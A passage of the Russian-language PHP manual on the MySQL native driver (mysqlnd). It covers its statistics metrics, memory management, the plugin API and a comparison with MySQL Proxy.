bytes_received_real_data_normal Соединение Количество байт полезной нагрузки извлечённой клиентом PHP из mysqlnd с использованием текстового протокола. Это актуальный размер данных содержащихся в результирующем наборе, которые клиент PHP уже загрузил. Обратите внимание, что хоть возможно mysqlnd забрал и полный результирующий набор с сервера MySQL, но в этой метрике учитываются только данные уже полученные клиентом PHP от mysqlnd. К примеру, следующий код увеличит значение метрики:
$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->fetch_assoc();
$res->close();

Каждая операция извлечения увеличивает это число.

Статистика не изменится, если результирующий набор был только буферизован, но не извлечён, как в этом примере:

$mysqli = new mysqli();
$res = $mysqli->query("SELECT 'abc'");
$res->close();
bytes_received_real_data_ps | Соединение | Количество байт полезной нагрузки, извлечённой клиентом PHP из mysqlnd используя подготовленные запросы. | Это размер только тех данных, которые были извлечены клиентом PHP. Значение метрики не будет увеличиваться если клиент PHP не будет запрашивать эти данные. Обратите внимание, что хоть возможно mysqlnd забрал и полный результирующий набор с сервера MySQL, но в этой метрике учитываются только данные уже полученные клиентом PHP от mysqlnd. Также смотрите bytes_received_real_data_normal.

Результирующий набор

Статистика mysqlnd: результирующий набор
Метрика | Область применения | Описание | Замечания
result_set_queries | Соединение | Количество запросов, по которым был создан результирующий набор. Пример запросов, создающих результирующий набор: SELECT, SHOW. Статистика не будет увеличиваться в случае возникновения ошибки чтения заголовочного пакета результирующего набора. | Вы можете использовать эту метрику, как опосредованный счётчик выполненных запросов, например для обнаружения клиента, создающего большую нагрузку на БД.
non_result_set_queries | Соединение | Количество запросов, по которым не был создан результирующий набор. Пример запросов, не создающих результирующий набор: INSERT, UPDATE, LOAD DATA. Статистика не будет увеличиваться в случае возникновения ошибки чтения заголовочного пакета результирующего набора. | Вы можете использовать эту метрику, как опосредованный счётчик выполненных запросов, например для обнаружения клиента, создающего большую нагрузку на БД.
no_index_used | Соединение | Количество запросов, создающих результирующий набор, но не использовавших индексы (также смотрите опцию запуска mysqld -log-queries-not-using-indexes). Если вы хотите получать отчёты о подобных запросах, вы можете использовать mysqli_report(MYSQLI_REPORT_INDEX) для того, чтобы ext/mysqli выбрасывал исключение. Если вы предпочитаете просто предупреждение, используйте mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT).
bad_index_used | Соединение | Количество запросов, создающих результирующий набор, но не использовавших хорошие индексы (также смотрите опцию запуска mysqld -log-slow-queries). | Если вы хотите получать отчёты о подобных запросах, вы можете использовать mysqli_report(MYSQLI_REPORT_INDEX)для того, чтобы ext/mysqli выбрасывал исключение. Если вы предпочитаете просто предупреждение, используйте mysqli_report(MYSQLI_REPORT_INDEX ^ MYSQLI_REPORT_STRICT)
slow_queries | Соединение | SQL-запросы, выполнявшиеся дольше чем long_query_time секунд и потребовавшие перебора более чем min_examined_row_limit строк. | Не извлекается с помощью mysqli_report()
buffered_sets | Соединение | Количество буферизированных результирующих наборов возвращённых нормальными запросами. Нормальные, здесь и дальше значит не подготовленные. | Примеры вызовов API, буферизующих результирующий набор на клиенте: mysql_query(), mysqli_query(), mysqli_store_result(), mysqli_stmt_get_result(). Буферизация результирующего набора на клиенте гарантирует, что серверные ресурсы будут освобождены так быстро, как возможно и делает позиционирование более простым. Плохая новость в том, что это будет стоит дополнительного расхода памяти на клиенте. Обратите внимание, что mysqlnd (в отличие от клиентской библиотеки MySQL) зависит от ограничений PHP на память, поскольку использует внутренний менеджер памяти PHP. Это является одной из причин, почему memory_get_usage() при использовании mysqlnd показывает большие значение, чем при использовании клиентской библиотеки MySQL. memory_get_usage() не замеряет потребление памяти клиентской библиотекой MySQL, поскольку он не использует внутренний менеджер памяти PHP.
unbuffered_sets | Соединение | Количество небуферизованных результирующих наборов возвращённых нормальными (не подготовленными) запросами. | Примеры вызовов API, не буферизующих результирующий набор на клиенте: mysqli_use_result()
ps_buffered_sets | Соединение | Количество буферизованных результирующих наборов возвращённых подготовленными запросами. По умолчанию, подготовленные запросы не буферизируются. | Примеры вызовов API, буферизующих результирующий набор на клиенте: mysqli_stmt_store_result
ps_unbuffered_sets | Соединение | Количество небуферизованных результирующих наборов возвращённых подготовленными запросами. | По умолчанию, подготовленные запросы не буферизируются.
flushed_normal_sets Соединение Количество результирующих наборов возвращённых нормальными (не подготовленными) запросами с непрочитанными данными, которые были обнулены прозрачно для вас. Подобное происходит только с небуферизированными результирующими наборами. Небуферизированные результирующие наборы должны быть полностью извлечены, прежде чем будет возможно запустить новый запрос в том же соединении с MySQL, в противном случае произойдёт ошибка. Если приложение не извлекло все строки небуферизированного результирующего набора, mysqlnd принудительно извлечёт его, чтобы освободить ресурсы сервера. Также смотрите rows_skipped_normal и rows_skipped_ps. Возможные причины, ведущие к принудительному обнулению:

  • Ошибка клиентского приложения

  • Клиент перестал извлекать записи, так как нашёл, что искал, но результирующий набор ещё не был извлечён до конца

  • Аварийное завершение клиентского приложения

flushed_ps_sets Соединение Количество результирующих наборов возвращённых подготовленными запросами с непрочитанными данными, которые были обнулены прозрачно для вас. Подобное происходит только с небуферизированными результирующими наборами. Небуферизированные результирующие наборы должны быть полностью извлечены, прежде чем будет возможно запустить новый запрос в том же соединении с MySQL, в противном случае произойдёт ошибка. Если приложение не извлекло все строки небуферизированного результирующего набора, mysqlnd принудительно извлечёт его, чтобы освободить ресурсы сервера. Также смотрите rows_skipped_normal и rows_skipped_ps. Возможные причины, ведущие к принудительному обнулению:

  • Ошибка клиентского приложения

  • Клиент перестал извлекать записи, так как нашёл, что искал, но результирующий набор ещё не был извлечён до конца

  • Аварийное завершение клиентского приложения

ps_prepared_never_executed | Соединение | Количество подготовленных, но не запущенных запросов. | Подготовленные запросы потребляют серверные ресурсы. Вы не должны подготавливать запросы, если не будете их запускать.
ps_prepared_once_executed | Соединение | Количество подготовленных запросов, запущенных только один раз. | Главная идея подготовленных запросов в том, что один и тот же запрос будет запускаться несколько раз, но, возможно, с другими параметрами. Это позволяет сэкономить на подготовке запросов, позволяя произвести разбор запроса только один раз, а потом просто подставлять в него параметры и запускать. При подготовке запроса происходит кеширование результата, например можно многократно использовать дерево разбора, созданное один раз на этапе подготовки. Если же вы запускаете подготовленный запрос всего один раз, то никакого выигрыша по сравнению с нормальными запросами не будет, даже наоборот, будут дополнительные накладные расходы на кеширование подготовленного запроса. Таким образом, подготовленные запросы, которые используются всего один раз, ведут к ухудшению производительности.
rows_fetched_from_server_normal, rows_fetched_from_server_ps | Соединение | Общее количество успешно извлечённых строк из базы MySQL, независимо от того, использованы они были приложением или нет. Часть строк могут не извлекаться приложением, но при этом принудительно обнуляться. | Также смотрите packets_received_rset_row
rows_buffered_from_client_normal, rows_buffered_from_client_ps | Соединение | Общее количество успешно буферизованных строк, полученных при выполнении "нормальных" запросов. Это количество строк, извлечённых из MySQL и буферизованных на клиенте. Обратите внимание, что существует две независимые метрики для буферизованных строк и (переданных от MySQL в буфер mysqlnd) и строк, прочтённых приложением (переданных из буфера mysqlnd клиентскому приложению). Если количество буферизованных строк больше чем число извлечённых клиентом, то стоит обратить внимание на клиентские запросы, так как они извлекают больше данных, чем им на самом деле нужно. | Пример запросов, буферизующих результирующие наборы: mysqli_query(), mysqli_store_result()
rows_fetched_from_client_normal_buffered, rows_fetched_from_client_ps_buffered | Соединение | Общее количество извлечённых клиентов строк из буферизованных результирующих наборов для любого типа запросов.
rows_fetched_from_client_normal_unbuffered, rows_fetched_from_client_ps_unbuffered | Соединение | Total number of rows fetched by the client from a unbuffered result set created by a "normal" query or a prepared statement.
rows_fetched_from_client_ps_cursor | Соединение | Общее количество извлечённых клиентов строк из небуферизованных результирующих наборов для любого типа запросов.
rows_skipped_normal, rows_skipped_ps | Соединение | Зарезервировано для использования в будущем и в данный момент не поддерживается
copy_on_write_saved, copy_on_write_performed | Процесс | Если используется mysqlnd: переменные, возвращённые модулем, указывают на внутренний сетевой буфер результатов mysqlnd. Если вы не меняли переменные, извлечённые данные будут сохранены в памяти один раз. Если вы меняли переменные, mysqlnd выполнит копирование при записи для защиты внутренних сетевых буферов результата от изменения. Если используется клиентская библиотека MySQL: вы всегда держите извлечённые данные в памяти в двух экземплярах. Один раз во внутренних буферах клиентской библиотеки MySQL, и ещё один раз в переменных, возвращённых модулем. В теории, mysqlnd может до 40% сократить потребление памяти. В любом случае помните, что эту экономию не удастся замерить с помощью memory_get_usage().
explicit_free_result, implicit_free_result | Соединение, процесс (только на стадии очистки подготовленных запросов) | Общее количество высвобожденных результирующих наборов. | Очистка всегда производится явно, но для результирующих наборов, созданных инициализирующими командами, например mysqli_options(MYSQLI_INIT_COMMAND , ...)
proto_text_fetched_null, proto_text_fetched_bit, proto_text_fetched_tinyint proto_text_fetched_short, proto_text_fetched_int24, proto_text_fetched_int proto_text_fetched_bigint, proto_text_fetched_decimal, proto_text_fetched_float proto_text_fetched_double, proto_text_fetched_date, proto_text_fetched_year proto_text_fetched_time, proto_text_fetched_datetime, proto_text_fetched_timestamp proto_text_fetched_string, proto_text_fetched_blob, proto_text_fetched_enum proto_text_fetched_set, proto_text_fetched_geometry, proto_text_fetched_other Соединение Общее количество столбцов определённого типа, извлечённых нормальными запросами (текстовый протокол MySQL). Связка метаданных C API / MySQL с именами метрик статистики:

  • MYSQL_TYPE_NULL - proto_text_fetched_null

  • MYSQL_TYPE_BIT - proto_text_fetched_bit

  • MYSQL_TYPE_TINY - proto_text_fetched_tinyint

  • MYSQL_TYPE_SHORT - proto_text_fetched_short

  • MYSQL_TYPE_INT24 - proto_text_fetched_int24

  • MYSQL_TYPE_LONG - proto_text_fetched_int

  • MYSQL_TYPE_LONGLONG - proto_text_fetched_bigint

  • MYSQL_TYPE_DECIMAL, MYSQL_TYPE_NEWDECIMAL - proto_text_fetched_decimal

  • MYSQL_TYPE_FLOAT - proto_text_fetched_float

  • MYSQL_TYPE_DOUBLE - proto_text_fetched_double

  • MYSQL_TYPE_DATE, MYSQL_TYPE_NEWDATE - proto_text_fetched_date

  • MYSQL_TYPE_YEAR - proto_text_fetched_year

  • MYSQL_TYPE_TIME - proto_text_fetched_time

  • MYSQL_TYPE_DATETIME - proto_text_fetched_datetime

  • MYSQL_TYPE_TIMESTAMP - proto_text_fetched_timestamp

  • MYSQL_TYPE_STRING, MYSQL_TYPE_VARSTRING, MYSQL_TYPE_VARCHAR - proto_text_fetched_string

  • MYSQL_TYPE_TINY_BLOB, MYSQL_TYPE_MEDIUM_BLOB, MYSQL_TYPE_LONG_BLOB, MYSQL_TYPE_BLOB - proto_text_fetched_blob

  • MYSQL_TYPE_ENUM - proto_text_fetched_enum

  • MYSQL_TYPE_SET - proto_text_fetched_set

  • MYSQL_TYPE_GEOMETRY - proto_text_fetched_geometry

  • Любые не перечисленные MYSQL_TYPE_* - proto_text_fetched_other

Обратите внимание, что константы типов MYSQL_* могут не ассоциироваться с одинаковыми столбцами SQL для разных версий MySQL.

proto_binary_fetched_null, proto_binary_fetched_bit, proto_binary_fetched_tinyint proto_binary_fetched_short, proto_binary_fetched_int24, proto_binary_fetched_int, proto_binary_fetched_bigint, proto_binary_fetched_decimal, proto_binary_fetched_float, proto_binary_fetched_double, proto_binary_fetched_date, proto_binary_fetched_year, proto_binary_fetched_time, proto_binary_fetched_datetime, proto_binary_fetched_timestamp, proto_binary_fetched_string, proto_binary_fetched_blob, proto_binary_fetched_enum, proto_binary_fetched_set, proto_binary_fetched_geometry, proto_binary_fetched_other | Соединение | Общее количество столбцов определённого типа, извлечённых подготовленными запросами (бинарный протокол MySQL). | Связь типов с proto_text_* смотрите в предыдущем пункте.
Статистика mysqlnd: Соединение
Метрика | Область применения | Описание | Замечания
connect_success, connect_failure | Соединение | Общее количество удачных/неудачных попыток соединения. | Переиспользованные и прочие типы соединений включаются.
reconnect | Процесс | Общее количество попыток выполнить real_connect на уже открытом соединении. | Следующий код $link = new mysqli(...); $link->real_connect(...) приведёт к пересоединению. Но $link = new mysqli(...); $link->connect(...) не приведёт, так как $link->connect(...) принудительно закроет существующее соединение перед созданием нового.
pconnect_success | Соединение | Общее количество успешных попыток открыть постоянное соединение | Обратите внимание, что connect_success содержит суммарное количество обычных и постоянных соединений. Так что количество обычных соединений можно вычислить так: connect_success - pconnect_success.
active_connections | Соединение | Общее количество активных соединений, как обычных, так и постоянных.
active_persistent_connections | Соединение | Общее количество активных постоянных соединений. | Общее количество активных непостоянных соединений равно: active_connections - active_persistent_connections.
explicit_close Соединение Общее количество явно закрытых соединений (только ext/mysqli). Пример кода, в котором явно закрывается соединение:
$link = new mysqli(...); $link->close(...)
$link = new mysqli(...); $link->connect(...)
implicit_close Соединение Общее количество неявно закрытых соединений (только ext/mysqli). Пример кода, в котором соединение закрывается не явно:

  • $link = new mysqli(...); $link->real_connect(...)

  • unset($link)

  • Постоянное соединение: соединение было создано с помощью real_connect и, возможно, с неизвестным набором опций - закрывается неявно для предотвращения переиспользования соединения с неизвестным набором опций

  • Постоянное соединение: ping/change_user завершаются с ошибкой и ext/mysqli закрывает соединение

  • Окончание работы скрипта: закрываются соединения, не закрытые пользователем явно

disconnect_close | Соединение | Ошибки соединения возвращаемые при вызове C API mysql_real_connect() во время установления соединения. | Вызывается disconnect_close, потому, что идентификатор соединения, переданный в вызов C API, должен быть закрыт.
in_middle_of_command_close | Процесс | Соединение закрыто во время исполнения команды (результирующий набор не извлечён, после запуска запроса и до получения ответа, во время извлечения данных, во время загрузки данных с помощью LOAD DATA). | Если вы не используете асинхронные запросы, подобное может произойти только в том случае, если работа скрипта неожиданно прервалась и PHP автоматически закрыл соединение.
init_command_executed_count | Соединение | Общее количество запусков инициализирующих команд, к примеру mysqli_options(MYSQLI_INIT_COMMAND , ...). | Количество успешно запущенных команд равно init_command_executed_count - init_command_failed_count.
init_command_failed_count | Соединение | Общее количество неудачных инициализирующих команд.
Статистика mysqlnd: Команды COM_*
Метрика Область применения Описание Замечания
com_quit, com_init_db, com_query, com_field_list, com_create_db, com_drop_db, com_refresh, com_shutdown, com_statistics, com_process_info, com_connect, com_process_kill, com_debug, com_ping, com_time, com_delayed_insert, com_change_user, com_binlog_dump, com_table_dump, com_connect_out, com_register_slave, com_stmt_prepare, com_stmt_execute, com_stmt_send_long_data, com_stmt_close, com_stmt_reset, com_stmt_set_option, com_stmt_fetch, com_daemon Соединение Общее количество попыток послать одну из COM_* команд из PHP серверу MySQL.

Метрика увеличивается после проверки синтаксиса команды и непосредственно перед отсылкой соответствующего пакета серверу MySQL. Если mysqlnd не удалось послать пакет, метрика не будет уменьшена. В случае неудачной посылки mysqlnd вернёт предупреждение Error while sending %s packet. PID=%d.

Примеры использования:

  • Отследить, что PHP посылает определённые команды серверу, например, что клиент шлёт COM_PROCESS_KILL

  • Посчитать среднее количество запусков подготовленных запросов, сравнив COM_EXECUTE с COM_PREPARE

  • Проверить, что PHP исполняет неподготовленные запросы, убедившись, что COM_QUERY равно нулю

  • Определить скрипт PHP, выполняющий множество запросов, проверив COM_QUERY и COM_EXECUTE

Прочее

Статистика mysqlnd: Прочее
Метрика | Область применения | Описание | Замечания
explicit_stmt_close, implicit_stmt_close | Процесс | Общее количество закрытых подготовленных запросов. | Закрытие всегда происходит явно, за исключением ошибок при подготовке.
mem_emalloc_count, mem_emalloc_ammount, mem_ecalloc_count, mem_ecalloc_ammount, mem_erealloc_count, mem_erealloc_ammount, mem_efree_count, mem_malloc_count, mem_malloc_ammount, mem_calloc_count, mem_calloc_ammount, mem_realloc_count, mem_realloc_ammount, mem_free_count | Процесс | Вызовы менеджера памяти. | Только для разработчиков.
command_buffer_too_small Соединение Количество модулей сетевого командного буфера в процессе отправки команды от PHP серверу MySQL.

mysqlnd выделяет внутренний командный/сетевой буфер размера mysqlnd.net_cmd_buffer_size (php.ini) байт для каждого соединения. Если команда клиент-серверного протокола MySQL, к примеру COM_QUERY (обычный запрос), не помещается в него, mysqlnd увеличивает размер буфера до необходимого размера. Каждый раз, когда размер буфера увеличивается для соединения, command_buffer_too_small увеличивается на единицу.

Если mysqlnd увеличивает размер буфера более его начального размера mysqlnd.net_cmd_buffer_size (php.ini) практически для каждого соединения, вам стоит задуматься об изменении этого значения.

Размер буфера по умолчанию составляет 4096 байт, что является наименьшим возможным значением. Это значение можно поменять в php.ini изменив значение ключа mysqlnd.net_cmd_buffer_size или используя mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

connection_reused

User Contributed Notes

There are no user contributed notes for this page.


Замечания

Этот раздел содержит набор различных замечаний по поводу использования встроенного драйвера MySQL.

  • Использование mysqlnd подразумевает использование потоков PHP как основу для подключений. При работе с mysqlnd следует обращаться к документации потоков PHP (Потоки), а не к документации клиентской библиотеки MySQL, по поводу таких вещей, как, например, настройка времени ожидания.

User Contributed Notes

Les Brown 23-Feb-2010 11:04
After upgrading from php 5.2 to php 5.3 on Windows, I was unable to connect to MySQL databases on localhost. I eventually tracked the problem down to entries in my hosts file:
It contained:
127.0.0.1       localhost
[...]
::1             localhost
Commenting out the second line fixed the problem.

The problem is explained here: http://bugs.php.net/bug.php?id=50172


Управление памятью

Введение

Встроенный драйвер MySQL (mysqlnd) управляет памятью по-другому, в отличие от клиентской библиотеки MySQL (libmysql). Библиотеки различаются способом выделения и освобождения памяти, тем, как память выделяется по кускам во время чтения результатов из MySQL, существующими опциями для отладки и разработки, и тем, как результаты, считанные из MySQL, связаны с пользовательскими переменными PHP.

Следующая информация предназначена в качестве введения и обобщения для пользователей, заинтересованных в понимании mysqlnd на уровне C-кода.

Используемые функции для управления памятью

Все операции выделения и освобождения памяти происходят используя PHP-функции, предназначенные для управления памятью. Поэтому, потребление памяти встроенного драйвера MySQL может быть отслежено при помощи вызовов PHP API, таких как memory_get_usage(). Из-за того, что память выделяется и освобождается при помощи системы управления памятью PHP, изменения на уровне операционной системы могут быть видны не мгновенно. Система управления памятью PHP ведёт себя как прокси, которая может вызывать задержку в освобождении памяти. Ввиду этого, сравнение использования памяти встроенного драйвера MySQL и клиентской библиотеки MySQL (libmysql) довольно сложно. Клиентская библиотека MySQL (libmysql) использует систему управления памятью операционной системы напрямую, следовательно, эффект на уровне операционной системы может быть виден незамедлительно.

Любое ограничение памяти, установленное в PHP, также влияет на встроенный драйвер MySQL. Это может вызвать ошибки переполнения памяти при извлечении больших массивов данных, которые превышают размер оставшейся памяти, предоставленных РНР. Из-за того, что клиентская библиотека MySQL не использует функций управления памяти PHP, она не подчиняется ограничению памяти, установленному в PHP. При использовании libmysql, в зависимости от модели развёртывания, объем памяти, занимаемый PHP-процессом, может вырасти за пределы ограничений, установленных в PHP. В тоже время, PHP-скрипты могут обрабатывать больший объем массивов данных, так как области памяти, выделенные для хранения данных, не находятся под управлением РНР.

Функции системы управления памятью PHP вызываются встроенным драйвером MySQL через легковесную обёртку. Среди прочего, обёртка делает отладку легче.

Обработка массивов полученных данных

Различные MySQL-сервера и различные клиентские API различают буферизированные и небуферизированные результаты. Небуферизированные результаты передаются строка за строкой от MySQL к клиенту и клиент читает их по порядку. Буферизированные результаты забираются клиентской библиотекой целиком до передачи их клиенту.

Встроенный драйвер MySQL использует PHP-потоки для сетевого общения с сервером MySQL. Результаты, посланные MySQL-сервером, выбираются из сетевых буферов PHP-потоков в результирующий буфер mysqlnd. Результирующий буфер состоит из zvals. На втором шаге результаты становятся доступными PHP-скрипту. Последняя передача из результирующего буфера в PHP-переменные вызывает потребление памяти и в большинстве случаев оно заметно при использовании буферизированных результатов.

По умолчанию встроенный драйвер MySQL пытается избежать двойного хранения буферного результата в памяти. Результаты хранятся только один раз во внутренних результирующих буферах и их zvals. Когда результаты забираются в РНР-переменные PHP-скриптом, переменные будут ссылаться на внутренние результаты буферов. Результаты запросов к базам данных не копируются и хранятся в памяти только один раз. Достаточно пользователю изменить содержимое переменной, содержащей результаты работы базы данных, как будет выполнен механизм копирования при записи (Copy-On-Write), для того, чтобы избежать изменения ссылающего внутреннего буфера результата. Содержимое буфера не должно быть изменено, так как пользователь может принять решение прочитать результат во второй раз. Механизм копирования при записи реализуется с помощью дополнительного управления списком ссылок и использования стандартных zval счётчиков ссылок. Копирование при записи также должно быть сделано, если пользователь читает данные результата в PHP переменных и освобождает данные результата прежде, чем переменные будут уничтожены.

В общем, этот шаблон работает хорошо для скриптов, которые читают наборы данных единожды и не изменяют переменных, содержащих результаты. Его главный недостаток в накладных расходах памяти, вызванных дополнительным управлением ссылками, причина которого в первую очередь связана с тем, что пользовательские переменные, удерживающие результаты, не могут быть полностью освобождены до того, как система управления ссылками mysqlnd содержит ссылки на них. Встроенный драйвер MySQL удаляет ссылку на на пользовательские переменные когда массив полученных данных освобождается или выполняется механизм копирования при записи. Наблюдатель увидит рост общего потребления памяти пока массив полученных данных не освободится. Используйте статистику, чтобы проверить, скрипт явно произвёл освобождение данных результата или же драйвер сделал это неявно и поэтому память используется в течение более долгого времени, чем это необходимо. Статистика также помогает увидеть количество операций копирования при записи.

PHP-скрипт, читающий множество небольших строк в буферизированном массиве данных, использующий код, подобный while ($row = $res->fetch_assoc()) { ... }, может оптимизировать потребление памяти, запросив копии вместо ссылок. Хотя и запрос копий означает хранение тех же результатов в памяти дважды, это позволяет PHP уничтожить копию, содержащую в $row в качестве итерируемого массива данных и перед уничтожением результат устанавливает сам себя. На загруженном сервере оптимизация использования памяти может помочь улучшить общую производительность системы, хотя для отдельного скрипта подход с копией вместо ссылок может быть медленнее в связи с дополнительным выделением памяти и дополнительными операциями копирования в памяти.

Контроль и отладка

Существует несколько методов отслеживания использования памяти во встроенном драйвере MySQL "mysqlnd". Если цель - получить быстрый высокоуровневый обзор или проверить эффективность PHP-скриптов при работе с памятью, то проверьте статистику, собранную библиотекой. Статистика позволит вам, например, поймать SQL-запрос, который генерирует больше результатов, чем обрабатываются PHP-скриптом.

Журнал отладки может быть сконфигурирован для записи вызовов системы управления памятью. Это помогает увидеть когда память выделяется и освобождается. Однако, размер запрошенных кусков памяти может не быть в списке.

В некоторых последних версиях встроенного драйвера MySQL "mysqlnd" присутствует возможность эмуляции случайных ситуаций нехватки памяти. Эта возможность была задумана для использования только C-разработчиками библиотеки или авторами плагина mysqlnd. Пожалуйста, используйте поиск по исходному коду для соответствующей настройки PHP и для дальнейшей информации. Это возможность является недокументированной и может быть изменена в любое время без дополнительного уведомления.

User Contributed Notes

There are no user contributed notes for this page.


API для плагинов к встроенному драйверу MySQL

Содержание

  • Сравнение плагинов mysqlnd с MySQL Proxy
  • Получение API плагинов mysqlnd
  • Архитектура плагинов MySQL Native Driver
  • API плагинов mysqlnd
  • Начинаем разработку плагина mysqlnd

API для плагинов к встроенному драйверу MySQL является особенностью встроенного драйвера MySQL (mysqlnd). Плагины mysqlnd работают на уровне между PHP-приложениями и сервером MySQL. Это похоже на работу MySQL Proxy. Плагины mysqlnd могут реализовывать стандартные задачи MySQL Proxy, такие как балансирование нагрузки, мониторинг и оптимизация быстродействия. При этом, вследствие другой архитектуры и месторасположения, плагины mysqlnd не имеют некоторых недочётов MySQL Proxy. Например, нет единой точки отказа, не требуется установка отдельного proxy-сервера и нет необходимости в изучении нового языка программирования Lua.

Плагин mysqlnd можно рассматривать как модуль mysqlnd. Плагины могут перехватывать большую часть функций mysqlnd. Эти функции вызываются модулями PHP, такими как ext/mysql, ext/mysqli и PDO_MYSQL. В конечном счёте, плагины mysqlnd могут перехватывать все запросы, сделанные этими модулями из клиентского приложения.

Внутренние вызовы функций mysqlnd также могут быть перехвачены или заменены. Ограничения по работе с внутренней таблицей функций mysqlnd отсутствуют. Возможно настроить все таким образом, что при вызове определённых функций mysqlnd из модулей, использующих mysqlnd, этот вызов будет перенаправляться в соответствующую функцию плагина mysqlnd. Возможность манипулировать внутренней таблицей функций mysqlnd даёт плагинам максимум гибкости.

Плагины mysqlnd фактически являются модулями PHP, написанными на C и использующими API для плагинов mysqlnd (встроенном в драйвер mysqlnd). Плагины могут быть полностью прозрачными для PHP-приложений. Изменять приложение не потребуется, поскольку плагины работают на другом уровне. Плагины mysqlnd можно рассматривать как работающие на уровень ниже mysqlnd.

Нижеуказанный список показывает несколько возможных вариантов плагинов mysqlnd.

  • Балансировка нагрузки

    • Разделение чтения и записи. Примером является модуль PECL/mysqlnd_ms (Master Slave). Модель разделяет запросы на чтение и запись для настройки репликации.

    • Отказоустойчивость

    • Равномерная загрузка, запросы на наименее загруженный сервер

  • Мониторинг

    • Логирование запросов

    • Анализ запросов

    • Аудит запросов. Примером является модуль PECL/mysqlnd_sip (SQL Injection Protection, защита от SQL-инъекций). Модель анализирует запросы и выполняет только подходящие под набор правил.

  • Производительность.

    • Кеширование. Примером является модуль PECL/mysqlnd_qc (Query Cache, кеширование запросов).

    • Ограничение ресурсов выделяемых запросу

    • Шардинг. Примером является модуль PECL/mysqlnd_mc (Multi Connect). Модель пытается разбить запрос SELECT на n частей, используя SELECT ... LIMIT part_1, SELECT LIMIT part_n. Он отправляет запросы на отдельные MySQL-сервера и собирает результат на клиенте.

Доступные плагины к встроенному драйверу MySQL

Существует несколько уже доступных плагинов mysqlnd. Список включает:

  • PECL/mysqlnd_mc - Multi Connect plugin.

  • PECL/mysqlnd_ms - Master Slave plugin.

  • PECL/mysqlnd_qc - Query Cache (кеширование запросов) plugin.

  • PECL/mysqlnd_pscache - Prepared Statement Handle Cache plugin (обработка кеширования подготовленных запросов)

  • PECL/mysqlnd_sip - SQL Injection Protection plugin (защита от SQL-инъекций)

  • PECL/mysqlnd_uh - User Handler plugin (обработка пользователей)

User Contributed Notes

There are no user contributed notes for this page.


Сравнение плагинов mysqlnd с MySQL Proxy

Плагины mysqlnd и MySQL Proxy - это разные технологии, использующие разные подходы. Оба варианта являются подходящими инструментами для решения разнообразных стандартных задач, таких как балансировка нагрузки, мониторинг и улучшение производительности. Важным отличием является то, что MySQL Proxy работает со всеми клиентами MySQL, тогда как плагины mysqlnd - только для PHP-приложений.

Как модуль PHP, плагин mysqlnd устанавливается на сервере приложений PHP вместе с остальным PHP. MySQL Proxy может быть запущен на сервере приложений PHP или же быть установлен на отдельной машине для поддержки множественных серверов приложений PHP.

Установка MySQL Proxy на сервере приложений имеет два преимущества:

  1. Отсутствие единой точки отказа

  2. Лёгкость в масштабировании (горизонтальном или же клиентском)

MySQL Proxy (а также плагины mysqlnd) могут легко решать проблемы, ради решения которых иначе понадобились бы изменения в существующих приложениях.

Тем не менее, у MySQL Proxy есть некоторые недостатки:

  • MySQL Proxy - это новый элемент и технология, которую потребуется изучить и установить

  • MySQL Proxy требует знания скриптового языка Lua

MySQL Proxy может быть изменён с помощью C и Lua. Lua является предпочтительным скриптовым языком для MySQL Proxy. Для большинства экспертов PHP, Lua является новым языком, который надо изучать. Плагин mysqlnd может быть написан на C. Также можно написать плагин на PHP, используя » PECL/mysqlnd_uh.

MySQL Proxy работает как демон - фоновый процесс. MySQL Proxy может вспомнить ранее принятые решения, так как все состояние может быть сохранено. Однако плагины mysqlnd привязаны к жизненному циклу PHP, базирующемуся на запросах. Также MySQL Proxy может разделять единожды полученный результат между разными серверами приложений. Плагины mysqlnd для решения этой задачи должны использовать какое-нибудь постоянное хранилище, для сохранения результатов между запросами. Например, для этого может быть использован другой демон, такой как Memcache. Так что в этом случае MySQL Proxy работает явно лучше.

MySQL Proxy работает поверх сетевых протоколов. С помощью MySQL Proxy вы можете разобрать и подвергнуть инженерному анализу протокол MySQL Client Server. Что-либо поменять можно только манипулируя протоколом обмена. Если протокол вдруг поменяется (что случается крайне редко), скрипты MySQL Proxy будет необходимо переписывать.

Плагины Mysqlnd работают поверх C API, который дублирует клиент libmysqlclient. Это C API по сути обычная обёртка вокруг протокола MySQL Client Server. Вы можете перехватывать все вызовы C API. PHP использует C API, фактически вы можете перехватывать вообще все вызовы PHP, без необходимости программировать на уровне протокола обмена.

Mysqlnd реализует протокол обмена. Таким образом, плагины могут перехватывать, исследовать, менять и даже целиком заменять протокол связи. Хотя обычно ничего этого не требуется.

Плагины позволяют вам использовать два уровня (C API и протокол обмена), в этом они гораздо гибче, чем MySQL Proxy. Если плагин mysqlnd реализован с использованием C API, изменения протокола обмена не потребуют изменения плагина.

User Contributed Notes

There are no user contributed notes for this page.


Получение API плагинов mysqlnd

API плагинов mysqlnd является частью стандартного модуля ext/mysqlnd. API плагинов mysqlnd начали разрабатывать в декабре 2009 года. Он разрабатывался как часть репозитория исходных кодов PHP и, соответственно, доступен через публичный репозиторий Git либо через загрузку снапшота исходных кодов.

Разработчики плагинов могут узнать версию mysqlnd путём доступа к MYSQLND_VERSION, являющейся строкой формата mysqlnd 5.0.7-dev - 091210 - $Revision: 300535, или через MYSQLND_VERSION_ID, являющейся числовым представлением версии, например 50007. Рассчитать версию из этого числа можно так:

Таблица расчёта MYSQLND_VERSION_ID
Версия (часть) | Пример
Major*10000 | 5*10000 = 50000
Minor*100 | 0*100 = 0
Patch | 7 = 7
MYSQLND_VERSION_ID | 50007

В процессе разработки, разработчики должны отслеживать версию mysqlnd на предмет совместимости и версионного тестирования, так как версии mysqlnd имеют свойство меняться и это может случиться в процессе работы над плагином.

User Contributed Notes

There are no user contributed notes for this page.


Архитектура плагинов MySQL Native Driver

В этой секции рассмотрена архитектура плагинов mysqlnd.

Поверхностный обзор MySQL Native Driver

Перед началом разработки плагинов mysqlnd, полезно ознакомиться, как сам по себе организован mysqlnd. Mysqlnd состоит из следующих модулей:

Организационная схема mysqlnd, помодульно
Модули статистики | mysqlnd_statistics.c
Соединение | mysqlnd.c
Результирующий набор | mysqlnd_result.c
Метаданные результирующего набора | mysqlnd_result_meta.c
Оператор | mysqlnd_ps.c
Сеть | mysqlnd_net.c
Протокол обмена | mysqlnd_wireprotocol.c

Объектно-ориентированная парадигма C

На уровне кода, mysqlnd использует паттерн C для реализации объектно-ориентированного подхода.

